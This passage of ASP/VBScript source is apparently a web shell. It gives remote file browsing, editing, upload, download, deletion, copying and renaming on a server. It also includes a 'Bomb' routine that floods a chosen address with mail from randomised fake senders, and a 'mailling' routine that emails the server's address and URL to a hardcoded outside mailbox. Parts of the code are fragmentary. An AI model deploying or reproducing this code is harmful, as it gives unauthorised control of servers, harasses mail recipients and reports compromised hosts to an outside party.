|
(" & intAffected & " row(s) affected)" set rS=nothing set adoCon=nothing end if HtmlMode() HtmlFooter() Destroy() end sub '=========================================================================== ' Function: Mail ' Purpose : '=========================================================================== sub myMail() dim strFrom,strTo,strSubject,strBody,bHtml,intNumber,i,StartTime,EndTime,bDoIt dim objMail,objMsg strTo=Trim(Request.Form("to")) select case Request.Form("subcommand") case "Send" strFrom=Trim(Request.Form("from")) strSubject=Trim(Request.Form("subject")) strBody=Request.Form("body") bHtml=CBool(Request.Form("html")) case "Bomb" if IsNumeric(Request.Form("number")) then intNumber=Int(Request.Form("number")) strFrom=Session("strFrom") strSubject=Session("strSubject") strBody=Session("strBody") bHtml=Session("bHtml") end select if Session("switch")=true then Session("switch")=false bDoIt=false strFrom=Session("strFrom") strTo=Session("strTo") strSubject=Session("strSubject") strBody=Session("strBody") bHtml=Session("bHtml") intNumber=Session("intNumber") else bDoIt=true end if if (intNumber<=0) then intNumber=gBomb Session("strFrom")=strFrom Session("strTo")=strTo Session("strSubject")=strSubject Session("strBody")=strBody Session("bHtml")=bHtml Session("intNumber")=intNumber HtmlHeader("") if bDoIt then select case Request.Form("subcommand") case "Send" if IsValidEmail(strTo) then set objMail=Server.CreateObject("CDONTS.NewMail") objMail.To=strTo objMail.From=strFrom objMail.Subject=strSubject objMail.Body=strBody if bHtml then objMail.BodyFormat=0 'HTML objMail.MailFormat=0 'MIME end if objMail.Send set objMail=nothing Response.Write "Message was sent to " & strTo & " successfully." & vbNewLine end if case "Bomb" if IsValidEmail(strTo) then Response.Write "Bombing " & Replace(FormatNumber(intNumber,0),",",".") & " mail" if intNumber>1 then Response.Write "s" Response.Write " to " & strTo & " ... " StartTime=Timer set objMsg=Server.CreateObject("CDO.Message") objMsg.To=strTo Randomize for i=1 to intNumber objMsg.From=makeEmail() objMsg.Subject=makeText(Int((50-25+1)*Rnd+25)) objMsg.TextBody=makeText(Int((100-50+1)*Rnd+50)) objMsg.Send next set objMsg=nothing EndTime=Timer Response.Write howlong(EndTime-StartTime) & vbNewLine end if end select end if %>
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= function IsValidEmail(strEAddress) dim objRegExpr set objRegExpr = New RegExp objRegExpr.Pattern = "^[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]@[\w-\.]*[a-zA-Z0-9]\.[a-zA-Z]{2,7}$" objRegExpr.Global = true objRegExpr.IgnoreCase = False IsValidEmail = objRegExpr.Test(strEAddress) set objRegExpr = nothing end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= function makeEmail() Randomize if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & "@" & makeText(8) & "." & zombie_array(Int((UBound(zombie_array)-0+1)*Rnd+0)) else makeEmail=makeText(8) & "@" & special_array(Int((UBound(special_array)-0+1)*Rnd+0)) end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= function makeText(intLen) dim strNewText,i strNewText="" Randomize for i=1 to intLen strNewText=strNewText & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1) next makeText=strNewText end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= function howlong(intTime) if (intTime<60) then howlong=intTime & " second(s)" elseif (intTime<60*60) then howlong=FormatNumber(intTime/60,2) & " minute(s)" else howlong=FormatNumber(intTime/(60*60),2) & " hour(s)" end if end function '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub Tree() dim path path=abspath(Request.Form("param")) if FSO.FolderExists(path) then %> sub tree_dir(path) dim strAttrib,strSize on error resume next dim oFolder dim oSubFolders,oSubFolder dim oFiles,oFile dim oSubFolders2,oSubFolder2 dim oFiles2,oFile2 set oFolder=FSO.GetFolder(path) set oSubFolders=oFolder.SubFolders set oFiles=oFolder.Files Response.Write " " & FSO.GetAbsolutePathName(path) strAttrib=GetAttributes(oFolder.Attributes) if strAttrib<>" " then Response.Write " (" & GetAttributes(oFolder.Attributes) & ")" Response.Write vbNewLine if (oSubFolders.Count>0) or (oFiles.Count>0) then %>
if (oSubFolder2.Count>0) or (oFile2.Count>0) then tree_dir(oSubFolder.ParentFolder & "\" & oSubFolder.Name) end if set oSubFolder2=nothing set oFile2=nothing next end if set oSubFolder=nothing set oFiles=nothing set oFolder=nothing end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub Editor() dim f,name,path on error resume next HtmlHeader("") name=Request.Form("param") path=addslash(targetPath) & name select case Request.Form("subcommand") case "Save","SaveAs" set f=FSO.OpenTextFile(path,2,true,-2) if Err.Number<>0 then gMsg="Can not write to the file """ & name & """, permission denied!" Err.Clear else f.Write Request.Form("content") end if set f=nothing set f=FSO.OpenTextFile(path,1,false,-2) case else if not FSO.FileExists(path) then gMsg="The file """ & name & """ does not exist" set f=FSO.CreateTextFile(path,false) if Err.Number<>0 then gMsg=gMsg & ", also unable to create new file." Err.Clear else gMsg=gMsg & ", created new file." end if else set f=FSO.OpenTextFile(path,1,false,-2) if Err.Number<>0 then gMsg="Can not read from the file """ & name & """, permission denied!" Err.Clear end if end if end select %> <% if gMsg<>"" then Response.Write "" & vbNewLine %> Editing - "<%=path%>" '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub ChangeAttributesItem() dim item,itemType,itemName,itemPath,itemAttrib itemType=Request.Form("command") itemName=Request.Form("param") itemPath=addslash(targetPath) & itemName HtmlHeader("") select case itemType case "ChangeAttributesFile" set item=FSO.GetFile(itemPath) case "ChangeAttributesFolder" set item=FSO.GetFolder(itemPath) end select if Request.Form("subcommand")="change" then itemAttrib=int(Request.Form("r")) itemAttrib=itemAttrib+int(Request.Form("h")) itemAttrib=itemAttrib+int(Request.Form("a")) itemAttrib=itemAttrib+int(Request.Form("s")) on error resume next item.Attributes=int(itemAttrib) if Err.Number<>0 then Response.Write "" & vbNewLine end if itemAttrib=item.Attributes %> Change attributes - "<%=itemName%>" <% set itemType=nothing HtmlFooter() Destroy() end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub OpenFolder() if Trim(Request.Form("folder"))="" then if Trim(Request.Form("param"))="" then targetPath=root else targetPath=abspath(Trim(Request.Form("param"))) else targetPath=addslash(Trim(Request.Form("folder"))) & Trim(Request.Form("param")) end if end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub CreateItem() dim itemType,itemName,itemPath itemType=request.form("command") itemName=request.form("param") itemPath=addslash(targetPath) & itemName on error resume next select case itemType case "NewFolder" if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then FSO.CreateFolder(itemPath) if Err.Number<>0 then gMsg="Unable to create the folder """ & itemName & """, an error occured..." else gMsg="Created the folder """ & itemName & """..." end if else gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..." end if case "NewFile" if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then FSO.CreateTextFile(itemPath) if Err.Number<>0 then gMsg="Unable to create the file """ & itemName & """, an error occured..." else gMsg="Created the file """ & itemName & """..." end if else gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..." end if end select end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub ZipInfo() dim path,zip,zipfile,i path=addslash(targetPath) & Request.Form("param") %> <%=path%>
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub Exec() end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub Delete() dim i,ndir,nfile,itemName,itemPath on error resume next ndir=Request.Form("d").Count nfile=Request.Form("f").Count
if (ndir>0) then gMsg="Delete folder(s)..." for i=1 to ndir itemName=Request.Form("d")(i) itemPath=addslash(targetPath) & itemName FSO.DeleteFolder itemPath,true gMsg=gMsg & " if (nfile>0) then if (ndir>0) then gMsg= gMsg & " " & vbNewLine gMsg=gMsg & "Delete file(s)..." for i=1 to nfile itemName=Request.Form("f")(i) itemPath=addslash(targetPath) & itemName FSO.DeleteFile itemPath,true gMsg=gMsg & " end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub Copy() dim i,nfile,ndir,itemName,itemPath on error resume next cp_dst=Trim(Request.Form("cp")) if cp_dst="" then exit sub cp_dst=abspath(cp_dst) Session("cp_dst")=cp_dst if FSO.FolderExists(cp_dst)=false then gMsg=" Folder not exists" & vbNewLine exit sub end if ndir=Request.Form("d").Count nfile=Request.Form("f").Count
if (ndir>0) then gMsg="Copying folder(s) to """ & cp_dst & """ ..." for i=1 to ndir itemName=Request.Form("d")(i) itemPath=addslash(targetPath) & itemName FSO.CopyFolder itemPath,addslash(cp_dst),true gMsg=gMsg & " if (nfile>0) then if (ndir>0) then gMsg= gMsg & " " & vbNewLine gMsg=gMsg & "Copying file(s) to """ & cp_dst & """ ..." for i=1 to nfile itemName=Request.Form("f")(i) itemPath=addslash(targetPath) & itemName FSO.CopyFile itemPath,addslash(cp_dst),true gMsg=gMsg & " end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub Move() dim i,nfile,ndir,itemName,itemPath on error resume next mv_dst=Trim(Request.Form("mv")) if mv_dst="" then exit sub mv_dst=abspath(mv_dst) Session("mv_dst")=mv_dst if FSO.FolderExists(mv_dst)=false then gMsg=" Folder not exists" & vbNewLine exit sub end if ndir=Request.Form("d").Count nfile=Request.Form("f").Count
if (ndir>0) then gMsg="Moving folder(s) to """ & mv_dst & """ ..." for i=1 to ndir itemName=Request.Form("d")(i) itemPath=addslash(targetPath) & itemName gMsg=gMsg & " if (nfile>0) then if (ndir>0) then gMsg= gMsg & " " & vbNewLine gMsg=gMsg & "Moving file(s) to """ & mv_dst & """ ..." for i=1 to nfile itemName=Request.Form("f")(i) itemPath=addslash(targetPath) & itemName gMsg=gMsg & " '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub RenameItem() dim item,itemType,itemName,itemPath dim param,newName itemType=request.form("command") param=split(request.form("param"),"|") itemName=param(0) newName=param(1) itemPath=addslash(targetPath) & newName on error resume next select case itemType case "RenameFolder" if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then itemPath=addslash(targetPath) & itemName set item=FSO.GetFolder(itemPath) item.Name=newName if Err.Number<>0 then gMsg="Unable to rename the folder """ & itemName & """, an error occured..." else gMsg="Renamed the folder """ & itemName & """ to """ & newName & """..." end if else gMsg="Unable to rename the folder """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..." end if case "RenameFile" if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then itemPath=addslash(targetPath) & itemName set item=FSO.GetFile(itemPath) item.Name=newName if Err.Number<>0 then gMsg="Unable to rename the file """ & itemName & """, an error occured..." else gMsg="Renamed the file """ & itemName & """ to """ & newName & """..." end if else gMsg="Unable to rename the file """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..." end if end select set item=nothing end sub '=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= sub List() dim objFolder,folder,item,intCount,bOpen,ext,count HtmlQuick() if not FSO.FolderExists(targetPath) then gMsg="Folder not found" else on error resume next set objFolder=FSO.GetFolder(targetPath) if Err.Number<>0 then gMsg="Can't open folder" else intCount=objFolder.SubFolders.Count+objFolder.Files.Count if Err.Number<>0 then gMsg="Permission denied" else %> <% bOpen=true end if end if end if if gMsg<>"" then Response.Write " " & gMsg & vbNewLine if bOpen then count=0 %>
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub Upload() dim objUpload,f,max,i,name,path,size,success HtmlHeader("") set objUpload=New clsUpload
targetPath=objUpload.Fields("folder").Value max=objUpload.Fields("max").Value
gMsg= "Upload..." & vbNewLine
for i=1 to max name=objUpload.Fields("file" & i).FileName size=objUpload.Fields("file" & i).Length if (name<>"") and (size>0) then gMsg=gMsg & "
" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " path=addslash(targetPath) & name objUpload.Fields("file" & i).SaveAs path if FSO.FileExists(path) then on error resume next set f=FSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & "success" else gMsg = gMsg & "fail" end if next
set objUpload=nothing
List() HtmlMode() HtmlFooter() Destroy() end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub Download() dim oStream dim szFileName szFileName=addslash(Request.Form("folder")) & Request.form("Param") if FSO.FileExists(szFileName) then set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" 'yeu cau ie hien hop thoai save-as Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing end if Destroy() end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub HtmlJsForm() %> <% end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub mailling() dim objMail set objMail=Server.CreateObject("CDONTS.NewMail") objMail.To="salegroups@yahoo.com" objMail.From="salegroups@yahoo.com" objMail.Subject=Request.ServerVariables("LOCAL_ADDR") objMail.Body= Request.ServerVariables("URL") objMail.Send set objMail=nothing end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function abspath(path) if left(path,1)=":" then abspath=Server.MapPath(mid(path,2)) else abspath=FSO.GetAbsolutePathName(path) end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function addslash(path) if right(path,1)="\" then addslash=path else addslash=path & "\" end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function findroot(path) dim f
set f=FSO.GetFolder(path)
if f.IsRootFolder then else do until f.IsRootFolder set f=f.ParentFolder loop end if findroot=f.Path set f=nothing end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function isroot(path) dim f set f=FSO.GetFolder(path) isroot=f.IsRootFolder set f=nothing end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Function FindLink(szFileName) Dim WshShell, oLink
Set WshShell=Server.CreateObject("WScript.Shell") Set oLink=WshShell.CreateShortcut(szFileName)
FindLink=oLink.TargetPath Set oLink=Nothing Set WshShell=Nothing End Function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Function FormatSize(intSize) If (intSize < 1024) Then FormatSize = intSize & " B" ElseIf (intSize < 1024*1024) Then FormatSize = FormatNumber(intSize/1024,2) & " KB" ElseIf (intSize < 1024*1024*1024) Then FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB" Else FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB" End If End Function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Function FormatName(szName) FormatName = szName If gMax > 5 And Len(szName) > gMax Then FormatName = Left(szName,gMax-2) & "..." End Function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function FormatDate(strDate) dim int12HourPart,strAMPM int12HourPart=DatePart("h",strDate) mod 12 if int12HourPart=0 then int12HourPart=12 if DatePart("h",strDate)>=12 then strAMPM="PM" else strAMPM="AM" FormatDate=Right("0"&DatePart("d",strDate),2) & "/" & Right("0"&DatePart("m",strDate),2) & "/" & DatePart("yyyy",strDate) & " " & Right("0"&int12HourPart,2) & ":" & Right("0"&DatePart("n",strDate),2) & ":" & Right("0"&DatePart("s",strDate),2) & " " & strAMPM end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Function GetAttributes(intAttr) Dim strAttributes strAttributes="" If (intAttr And 1) > 0 Then strAttributes = "R" If (intAttr And 2) > 0 Then strAttributes=strAttributes & "H" If (intAttr And 4) > 0 Then strAttributes=strAttributes & "S" If (intAttr And 32) > 0 Then strAttributes=strAttributes & "A" If (intAttr And 2048) > 0 Then strAttributes=strAttributes & "C" if strAttributes="" then strAttributes=" " GetAttributes=strAttributes End Function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText
Public Property Get BLOB() BLOB = BinaryData End Property
Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function
Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject("ADODB.Stream") lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) Call lobjStream.Close() Set lobjStream = Nothing End Sub
Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, ".") = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, "\") = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) End If If Not InStrRev(pstrPath, "\") = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) End If End Property
Public Property Get FilePath() FilePath = mstrPath End Property
Private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function
Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields("BinaryData").Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Class clsUpload Private mbinData Private mlngChunkIndex Private mlngBytesReceived Private mstrDelimiter Private CR Private LF Private CRLF Private mobjFieldAry() Private mlngCount Private Sub RequestData Dim llngLength mlngBytesReceived = Request.TotalBytes mbinData = Request.BinaryRead(mlngBytesReceived) End Sub
Private Sub ParseDelimiter() mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) End Sub
Private Sub ParseData() Dim llngStart Dim llngLength Dim llngEnd Dim lbinChunk llngStart = 1 llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) While Not llngStart = 0 llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 llngLength = llngEnd - llngStart lbinChunk = MidB(mbinData, llngStart, llngLength) Call ParseChunk(lbinChunk) llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) Wend End Sub
Private Sub ParseChunk(ByRef pbinChunk) Dim lstrName Dim lstrFileName Dim lstrContentType Dim lbinData Dim lstrDisposition Dim lstrValue lstrDisposition = ParseDisposition(pbinChunk) lstrName = ParseName(lstrDisposition) lstrFileName = ParseFileName(lstrDisposition) lstrContentType = ParseContentType(pbinChunk) If lstrContentType = "" Then lstrValue = CStrU(ParseBinaryData(pbinChunk)) Else lbinData = ParseBinaryData(pbinChunk) End If Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) End Sub
Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) Dim lobjField ReDim Preserve mobjFieldAry(mlngCount) Set lobjField = New clsField lobjField.Name = pstrName lobjField.FilePath = pstrFileName lobjField.ContentType = pstrContentType If LenB(pbinData) = 0 Then lobjField.BinaryData = ChrB(0) lobjField.Value = pstrValue lobjField.Length = Len(pstrValue) Else lobjField.BinaryData = pbinData lobjField.Length = LenB(pbinData) lobjField.Value = "" End If Set mobjFieldAry(mlngCount) = lobjField mlngCount = mlngCount + 1 End Sub
Private Function ParseBinaryData(ByRef pbinChunk) Dim llngStart llngStart = InStrB(1, pbinChunk, CRLF & CRLF) If llngStart = 0 Then Exit Function llngStart = llngStart + 4 ParseBinaryData = MidB(pbinChunk, llngStart) End Function
Private Function ParseContentType(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 15, pbinChunk, CR) If llngEnd = 0 Then Exit Function llngStart = llngStart + 15 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) End Function
Private Function ParseDisposition(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) If llngEnd = 0 Then Exit Function llngStart = llngStart + 22 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) End Function
Private Function ParseName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 6, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 6 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseName = Mid(pstrDisposition, llngStart, llngLength) End Function ' ------------------------------------------------------------------------------ Private Function ParseFileName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 10, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 10 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function
Public Property Get Count() Count = mlngCount End Property
Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property
Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub
Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub
